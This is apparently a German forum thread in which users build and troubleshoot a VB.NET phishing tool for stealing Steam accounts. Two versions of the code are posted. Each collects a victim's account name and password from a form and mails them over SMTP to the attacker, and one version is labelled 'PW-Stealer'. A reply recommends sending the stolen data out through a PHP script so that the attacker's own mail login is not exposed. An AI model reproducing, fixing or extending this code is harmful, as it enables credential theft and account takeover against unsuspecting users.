VB.NET Phising Source Code.

Hi Ich bin an nem Phising tool dran für Steam.
Und ich komme einfach nicht bei der

Empfänger mail weiter sprich da.
Was muss ich dort eintragen ist ein fehler drin ? . -.- weiss nicht mehr weiter. :P.



Imports System.Net.Mail
Imports System.Net
Public Class Form1

Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
Timer1.Start()
Dim text As String
text = "Account-Name: " + TextBox1.Text + " Passwort: " & TextBox2.Text + vbLf
Dim myClient As New Net.Mail.SmtpClient("smtp.web.de")
myClient.Credentials = New NetworkCredential("DEINEEMAIL", "DEINPW")
->myClient.Send("DEINEEMAIL", "DEINEEMAIL, DEINEEMAIL", "Steam Account", text)<-------------------
End Sub

Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
If ProgressBar1.Value = ProgressBar1.Maximum Then
MsgBox("Steal erfolgreich Pw: billyboy555")
Me.Close()
End If
End Sub

Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
ProgressBar1.Increment(1)
If ProgressBar1.Value = ProgressBar1.Maximum Then
End If
End Sub
End Class

vergiss den code xD nimm den hier^^


Imports System.Net
Imports System.Net.Mail




Public Class Form1

Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
MessageBox.Show("Deine Fehlermeldung")
Dim text As String
text = TextBox1.Text & TextBox2.Text + vblf
Dim myClient As New Net.Mail.SmtpClient("dein SMTP server")
myClient.Credentials = new NetworkCredential("Deine Email", "Dein PW dazu")

myClient.Send("Deine email", "deine email", "PW-Stealer", text)

End Sub
End Class

nope per php script und nicht per email = keine sniffer gefahr

[es mit email zu machen war auch ein großer fehler von mir]